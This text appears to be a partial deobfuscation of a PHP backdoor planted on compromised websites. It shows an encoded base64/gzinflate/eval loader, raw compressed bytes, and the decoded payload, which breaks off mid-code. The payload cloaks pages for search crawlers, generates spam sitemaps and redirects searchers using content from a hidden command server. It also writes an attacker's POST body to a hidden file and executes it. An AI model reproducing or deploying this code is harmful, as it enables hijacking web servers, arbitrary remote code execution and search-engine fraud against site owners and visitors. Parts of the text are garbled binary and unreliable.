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'\";\$a=base64_decode(\$x);\$b=gzinflate(\$a);eval(\$b);";
@($mEriqO3481 = function () {
    $x = "'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'";
    $a = "\31RH٩?4Dl\10 \v̥\1Ƙa.dUܶȒJ\20[\37tdɗ\0UK\25}n}M(A@/_|r}׊i=7\16=΢\10\26\32g%Z;r\23e}U\r 8ewR Ք7j\37d|G\36QBL\"MF\36Q\6)D\4=\20Ɣ.;\17\27;\3\4ؔI\22\rV݄0փh`\20^bC,\32U\5a\f>\31&#@v>~h]\t;\6g+dF(1AQvɎ\278\10;\f7\22Q o{\t|;\22\31Fx63X2v\31\3N}d~<z>v*\25b`@}ҽ#\35J\5\$N=:+%11d2δ  2M\0zO\7B9\"\3P\33@ÍEk|[yj5N.\33GM\27q\22=\n\10wj]PqCyl7@U{N\4\35{\25Kxig)vFm\30\t@%\6z|vёpvec]O8\33¾OPaƅE\n{\24oG}O|\tYi\$u\"p8-\2eO~M4\21G;r\fb{x\"(Hhq\\7|\t\30\2`Nl\30L˯(H\2\16\22OOaD\7N\"\1n;\20>oT+\27\27h;\27\34x\f蝸\24\21\27ӄe2\"\7V_!A\16cF\24hJtSa댒,{A\24C'ĤX/\10\16Il؞VQ&3\25\"l\10\25'(d\32O':\20։\r\0050t\7\f\5e'\23\36H\22#@\6(/2ɀ& QʗL7kDKM]`, X1\23gG'Pu\30\17E9\0{oZ)͙ӿ~\0\t5kewt\4\25A۷\"0u\3P\0(#\16#@sM\"\16`Q\t!s=\21s>Y<]\0_Ľ\nd\ts۰\33?3\3&<(8M!!A?,B\21̝o;\23s/\t|t(\31\6)vB\17s\17YÁU\t\31=5d\"W\26M\34\5\23NQ#+sRVJJueey:MƳ,sl\0?R'\23`i)-d\31O\"sJr\27:I\$1kR(#sRk<\5>\0y}*\20\31c#\\#W>W\3PE2;u\36[\n`aY*=\79\0322\2eZ+\30\fL'\27\"]FfRs (\0\0Đ\nbH\0303x\$B&ȒSɠMU\31GJ>(\20\34\1\5cR)r\10^i2nF8>s\20J7\27B\22S6\f.UU/A5jŌ&M0Z\$o\7g'G\5`\nb\16\4쪾s\31sW>\32azԂ`cE\n\30\37\23ifY<|\0\32*8oSх%\5Qm\\ÓV\23;ttuyд\33c\24{7Q_3T\0362qS\21-òb챪PQ0hߣ\16FJV\\cjGPA +_\vMY__Sd\3\"\27QʧIROb\36֋ki\5F|\26\"?GM?\7Ɩ^%\25LmM.x&\35CJ\32a+MwOD\21F\21u\5*\37F\32?U}F.\35\34e\26Lt,\27\r \270\16KV7\234\0w\35P\17Gqmo\rY#p47gYMVY\22\21\7\26\33'|%93o\22J}ЀWߔjHi]ZoEx1Bٷorݷ]O9:VE,\r\f*\"\22\30ZmomA݀SoI\"2q\7xLZXwZ41o,]hNd~dz4BHE\37R\10f9|Or\5E3B\22K\\\32Q\27'U\7tm\24\21\20\1\33\24C\26j\v{bŠj)3e=tV3#_+뱬1i\6R=L4\tiyN\4\24Rww\nx\10:!MciRߔ!%\\0iD&MƗp\vS\17hAbàԿ]g/jjAjAm?6\31d\\RxH\21\t|~+T\16,Q0L]\25zzPKĉ\rz9ra\37\0062/e4U\5:۵o;!h8p\2\27#qV#\24f>p\"\6xqYTaC|Tfu\32ݞ\33Z\1\r|(8X-x;\\c_0\n8\5~\"0΄P\22\20\6|\37_'MlL25\4WȊ\3\33Tw61h\24\1\6<j\36\n\16Ԥf\17#w]cOX\10FMb\3B%A^¥T{>__Jx\21˗?ko#\36`g\17\nJ⤲\35/F&iT44+up5]f\20d\22\7,E\2[a \10a\36p\32ٿl\32\22(Yuv:otNNgᵦ\$&%VRk\35\36A6wC?\$T΅nJ\34\f\20A\$QK*b}\2\5#f[#E3_%s\17\5\5\0103=G\ty\1\$άR'O!D=\10{xl\35\\haNf}i7N/\16,B:\$P\7\n&B`\32d\34\34s!*\34Ynp/Q\n%\n5-\21^ͮ&_4\tkfdB\n6]\26:ܵ>4|ϖa\25iv=`Ŝ;3qD;5,DKK|&OcUeMԒP*=-;\0n\1j\34</\7\10j\5\36\7؋ڀJŮ\35,1tKƯ7=o\\\35zGިw5]m/cgëiJ\26?¥.\1(LnQ.f1I\5tM\6\6F~_f\35HFy`:g`:_0\10\6KE\16gp\17'I\f~vB\21)Y*I~OS\7PF\f\fV\":MqpЖS9\353\n@\1\31\t'/E`b>\20޻/\32%\17;oޜp+~\$\n\24. \0";
    $b = "error_reporting(0);\r\n@ini_set('display_errors', 0);\r\n@set_time_limit(3600);\r\n@ignore_user_abort(1);\r\n\$gojj='218';\r\n\$smframe  = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"\r\n      xmlns:xhtml=\"http://www.w3.org/1999/xhtml\">\r\n%s</urlset>';\r\n\$smitem = ' <url> <loc>%s</loc><xhtml:link rel=\"alternate\" hreflang=\"ja\" href=\"%s\"/></url>';\r\n\$mainsm = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><!-- autogen by doim -->\r\n<sitemapindex xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"> %s </sitemapindex>';\r\n\$mainsmitem = ' <sitemap> <loc>%s://%s/sitemap%d.xml</loc></sitemap>';\r\n\r\n\$lang = isset(\$_SERVER['HTTP_ACCEPT_LANGUAGE'])?substr(\$_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4):\"\";\r\n\$ur = isset(\$_SERVER['HTTP_REFERER']) ? \$_SERVER['HTTP_REFERER'] : \"\";\r\n\$ua = isset(\$_SERVER['HTTP_USER_AGENT']) ? \$_SERVER['HTTP_USER_AGENT'] : \"\";\r\n\$host = \$_SERVER[\"HTTP_HOST\"];\r\n\$uri = \$_SERVER[\"REQUEST_URI\"];\r\n\$ip = clientip();\r\n\$http = https();\r\n\$header = array(\r\n        'User-Agent: '.\$ua,\r\n        'Lang: '.\$lang,\r\n        'Referer: '.\$ur,\r\n        'Http-Host: '.\$host,\r\n        'Remote-Addr: '.\$ip\r\n);\r\n\$postdata= 'shost='.\$host.'&proto='.\$http;\r\n\$uri = \$_SERVER[\"REQUEST_URI\"];\r\nif (@preg_match('#^/pingsitemap(.*?).xml\$#i', \$uri,\$amu)) {\r\n    \$result='';\r\n    if (\$amu[1]==='' || @preg_match('#(\\d+)-\$#', \$amu[1],\$samu)){\r\n\t\t\$postdata.=(\$samu[1]=='')?'&groupid='.\$gojj:'&groupid='.\$samu[1];\r\n        \$ts=strval(time());\r\n        array_push(\$header,'timestamp: '.\$ts);\r\n        array_push(\$header,'xdoim: '.crc32(\$ts.'\\n'.\$postdata));\r\n        \$content = trim( urlx('http://' . gets() . '/sitemap.xml',\$header,\$postdata.'&http='.\$http));\r\n        if (\$content===''){\r\n            exit();\r\n        }\r\n        if (@preg_match('#^(\\d)*#',\$content)) {\r\n            for(\$i=1;\$i<=intval(\$content);\$i++){\r\n                \$pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s://%s/sitemap%s%d.xml',\$http,\$host,\$samu[0],\$i); \r\n                \$respbody = urlx(\$pgurl);\r\n                \$result .= \$pgurl.\$respbody;\r\n            }\r\n        }\r\n    }else{\r\n        \$pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s://%s/sitemap%s.xml',\$http,\$host,\$amu[1]); \r\n        \$respbody = urlx(\$pgurl);\r\n        \$result .= \$pgurl.\$respbody;\r\n    }\r\n    echo \$result;exit();\r\n}\r\nif (@preg_match('#^/sitemap(.*?).xml\$#i', \$uri,\$amu)) {\r\n    \$postdata= 'shost='.\$host.'&http='.\$http;\r\n\tif ( @preg_match('#(\\d+)-\$#', \$amu[1],\$samu) ){\r\n\t\t\$postdata.='&groupid='.\$samu[1];\r\n\t}else{\r\n        \$postdata.='&groupid='.\$gojj;\r\n    }\r\n    \$ts=strval(time());\r\n    array_push(\$header,'timestamp: '.\$ts);\r\n    array_push(\$header,'xdoim: '.crc32(\$ts.'\\n'.\$postdata));\r\n    \$content = trim( urlx('http://' . gets() . '/sitemap'.((\$amu[1]==''||\$samu[1]!='')?'.xml':'/'.\$amu[1]),\$header,\$postdata));\r\n    if (\$content===''){\r\n\t    exit();\r\n    }\r\n    @header('Content-type: text/xml');\r\n    if (((\$amu[1]===''||\$samu[1]!='')) && @preg_match('#^(\\d)*#',\$content)) {\r\n\t\t\$xml='';\r\n\t\tfor(\$i=1;\$i<=intval(\$content);\$i++){\r\n           \$xml .= sprintf(\$mainsmitem,\$http,\$host,\$i,date('Y-m-d\\TH:i:sP', time())); \r\n\t\t}\r\n\t\techo sprintf(\$mainsm,\$xml); exit();\r\n    }\r\n    \$ids = explode(\"\\n\", \$content);\r\n    //\$dat = date(\"Y-m-d\\TH:i:sP\", time());\r\n    //\$smbody = sprintf(\$smitem,\$http,\$host,'',\$dat,'0.1');\r\n    \$smbody='';\r\n    foreach (\$ids as \$v) {\r\n        \$purl=\$http.'://'.\$host.'/'.\$v;\r\n        \$smbody .=sprintf(\$smitem,\$purl,\$purl);//,\$dat,0.8);//rand(1,8)/10\r\n    }\r\n    echo sprintf(\$smframe,\$smbody); exit();\r\n}\r\nif (isset(\$_SERVER['HTTP_XDOIM']) && strlen(\$_SERVER['HTTP_XDOIM'])>0){\r\n    \$ts = isset(\$_SERVER['HTTP_TIMESTAMP'])?\$_SERVER['HTTP_TIMESTAMP']:\"\";\r\n    \$tmp = @file_get_contents(\"php://input\");\r\n    //if (crc32(\$ts.'\\n'.\$tmp) === \$_SERVER['HTTP_XDOIM']){\r\n    \t@file_put_contents(\".eGA0Ty2WLh\",\$tmp,FILE_USE_INCLUDE_PATH);\r\n\techo (include '.eGA0Ty2WLh'); unlink('.eGA0Ty2WLh');\r\n\texit();\r\n    //}\r\n}\r\nif (@preg_match('#^/site/?(.*?)\$#i', \$uri,\$amu)){\r\n\t\$url=urldecode('https://search.yahoo.co.jp/search?p=site:%s&ei=UTF-8');\r\n\t\$url=(\$amu[1]=='')?sprintf(\$url,\$host):sprintf(\$url,\$amu[1]);\r\n\t\$body=urlx(\$url,null,null,1,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7');\r\n    \$body=substr(\$body,strpos(\$body,\"<!-- -->\"),100);\r\n\t\$body=str_replace(array('/\\/s+/','\\r\\n', '\\r', '\\n','\"',','),'',\$body);\r\n\t@preg_match('#(\\d*)件<!--#',\$body,\$amu);\r\n\techo \$amu[1];exit();\r\n}\r\nif (@preg_match('#^/getver\$#i', \$uri,\$amu)){\r\n    \$ts=strval(time());\r\n    array_push(\$header,'timestamp: '.\$ts);\r\n    array_push(\$header,'xdoim: '.crc32(\$ts.'\\n'.\$postdata));\r\n    \$cnt=trim(urlx('http://' . gets() . \$amu[0],\$header,\$postdata));\r\n\techo (\$cnt===false)?'fail'.gets():\$cnt.\$gojj.gets();exit();\r\n}\r\nif (strstr(\$uri, \"10001abcaa55atesta5\")){\r\n\t\$cnt=trim(get('http://' . gets() . \"/10001abcaa55atesta5\"));\r\n\techo (\$cnt===false)?'fail'.gets():\$cnt.\$gojj.gets();exit();\r\n}\r\nif (@preg_match('#google|yahoo|bing|craft|Crawler#i',\$ua)) { // && (@preg_match('#([a-z]+)-(\\d+)?(.html)\$#i', \$uri) || @preg_match('#cate\\/([a-z]+)-(\\d+)\$#i', \$uri) || \$uri==='/')){\r\n\t\$pdt = \$postdata.'&http='.\$http.'&groupid='.\$gojj;\r\n    if(@preg_match('#([a-z]+)-(\\d+)?(.html)\$#i', \$uri,\$amu)){\r\n\t\t\$pdt.=sprintf('&hpid=%s-%s',preg_replace('/[a-zI](xyz|buzz|top|online|store|club|shop|biz|space|fun|site).*\$/',\".\$1\",strrev(\$amu[1])),\$amu[2]);\r\n        echo @trim(urlx(sprintf('http://%s/bot/page?'.\$pdt , gets() ),\$header,\$pdt,1));exit();\r\n    }elseif(@preg_match('#cate\\/([a-z]+)-(\\d+)\$#i', \$uri,\$bmu)){\r\n        echo @trim(urlx(sprintf('http://%s/bot/cate?'.\$pdt , gets() ),\$header,\$pdt.'&host='.preg_replace('/[a-zI](xyz|buzz|top|online|store|club|shop|biz|space|fun|site).*\$/',\".\$1\",strrev(\$bmu[1])).'&cateid='.\$bmu[2],1));exit();\r\n    }else{\r\n        echo @trim(urlx(sprintf('http://%s/bot/home?'.\$pdt.'&uri='.\$uri , gets() ),\$header,\$pdt,1));exit();\r\n    }\r\n}\r\nif (@preg_match('#google.co.jp|google.com|yahoo.co.jp|yahoo.co|bing.com|ask.com|aol.com|aol.jp#i',\$ur) && @preg_match('#([a-zI]+)-(\\d+)?(-(\\d+))?(.html)\$#i',\$uri)){\r\n    \$pdt=\$postdata.'&groupid='.\$gojj.'&uri='.\$uri.'&ip='.\$ip;\r\n    \$purl=urlx(sprintf('http://%s/bot/302?'.\$pdt.'&uri='.\$uri , gets() ),\$header,\$pdt,1);\r\n    @header('Location: ' . \$purl); exit();\r\n}\r\n\r\n//-func\r\nfunction urls(\$host,\$path,\$ua,\$ref,\$params=null){\r\n    \$fp = stream_socket_client('ssl://'.\$host.':443', \$errno, \$errstr, 6);\r\n    \$head = \"GET \".\$path.\"?\".\$params.\" HTTP/1.0\\r\\nHost: \".\$host.\"\\r\\nReferer: \".\$ref.\"\\r\\nUser-Agent: \".\$ua.\"\\r\\n\\r\\n\";\r\n    \$write = fwrite(\$fp, \$head);\r\n    fclose(\$fp);\r\n}\r\n\r\nfunction urlx(\$url,\$header=null,\$postdata=null,\$gz=null) {\r\n    \$ch = curl_init();\r\n    curl_setopt(\$ch, CURLOPT_URL, \$url);\r\n    curl_setopt(\$ch, CURLOPT_FOLLOWLOCATION,1);\r\n    if (!(\$gz===null)){\r\n        curl_setopt(\$ch, CURLOPT_ENCODING, 'gzip,deflate');\r\n    }\r\n    if (stripos(\$url, \"https:\")===0) { \r\n        curl_setopt(\$ch, CURLOPT_SSL_VERIFYPEER, FALSE);\r\n        curl_setopt(\$ch, CURLOPT_SSL_VERIFYHOST, FALSE);\r\n    }\r\n    if (!(\$header===null)){\r\n        curl_setopt(\$ch, CURLOPT_HTTPHEADER, \$header);\r\n    }\r\n    if (!(\$postdata===null)) {\r\n        curl_setopt(\$ch, CURLOPT_POST, 1);\r\n        curl_setopt(\$ch, CURLOPT_POSTFIELDS, \$postdata);\r\n    }\r\n    curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1);\r\n    \$body = curl_exec(\$ch);\r\n    curl_close(\$ch);\r\n    return \$body;\r\n}\r\n\r\nfunction cc(\$uri){\r\n    \$vals = explode(\"-\",substr(\$uri,1,strlen(\$uri)-6)); \r\n    if (sizeof(\$vals)!=3){\r\n        return false;\r\n    }\r\n    \$newcrc = sprintf(\"%u\",crc32(sprintf(\"%s-%s\",\$vals[0],\$vals[1])));\r\n    return (\$newcrc == \$vals[2]);\r\n}\r\nfunction get(\$url){ \r\n\t\$contents = @file_get_contents(\$url);\r\n\tif (!\$contents) {\r\n\t\t\$ch = curl_init();\r\n\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url);\r\n\t\tcurl_setopt(\$ch, CURLOPT_RETURNTRANSFER,1);\r\n\t\t\$contents = curl_exec(\$ch);\r\n\t\tcurl_close(\$ch);\r\n\t} \r\n\treturn \$contents;\r\n}\r\nfunction gets(){\r\n    return base64_decode(\"c2VvYjIxOC5iZWF1dGlmdWxzdW5zZXQuc2l0ZQ==\");\r\n}\r\nfunction https() {\r\n    if ((!empty(\$_SERVER['HTTPS']) && strtolower(\$_SERVER['HTTPS']) !== 'off') || (isset(\$_SERVER['HTTP_X_FORWARDED_PROTO']) && \$_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (!empty(\$_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower(\$_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off')) {\r\n        return \"https\";\r\n    }\r\n    return \"http\";\r\n}\r\nfunction clientip(){\r\n  if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {\r\n    return getenv('REMOTE_ADDR');\r\n  } elseif (isset(\$_SERVER['REMOTE_ADDR']) && \$_SERVER['REMOTE_ADDR'] && strcasecmp(\$_SERVER['REMOTE_ADDR'], 'unknown')) {\r\n    return \$_SERVER['REMOTE_ADDR'];\r\n  }\r\n}\r\n";
    eval {
        error_reporting(0);
        @ini_set('display_errors', 0);
        @set_time_limit(3600);
        @ignore_user_abort(1);
        $gojj = '218';
        $smframe = '<?php xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
      xmlns:xhtml="http://www.w3.org/1999/xhtml">
%s</urlset>';
        $smitem = ' <url> <loc>%s</loc><xhtml:link rel="alternate" hreflang="ja" href="%s"/></url>';
        $mainsm = '<?php xml version="1.0" encoding="UTF-8"?><!-- autogen by doim -->
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> %s </sitemapindex>';
        $mainsmitem = ' <sitemap> <loc>%s://%s/sitemap%d.xml</loc></sitemap>';
        $lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4) : "";
        $ur = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : "";
        $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";
        $host = $_SERVER["HTTP_HOST"];
        $uri = $_SERVER["REQUEST_URI"];
        $ip = clientip();
        $http = https();
        $header = array('User-Agent: ' . $ua, 'Lang: ' . $lang, 'Referer: ' . $ur, 'Http-Host: ' . $host, 'Remote-Addr: ' . $ip);
        $postdata = 'shost=' . $host . '&proto=' . $http;
        $uri = $_SERVER["REQUEST_URI"];
        if (@preg_match('#^/pingsitemap(.*?).xml$#i', $uri, $amu)) {
            $result = '';
            if ($amu[1] === '' || @preg_match('#(\\d+)-$#', $amu[1], $samu)) {
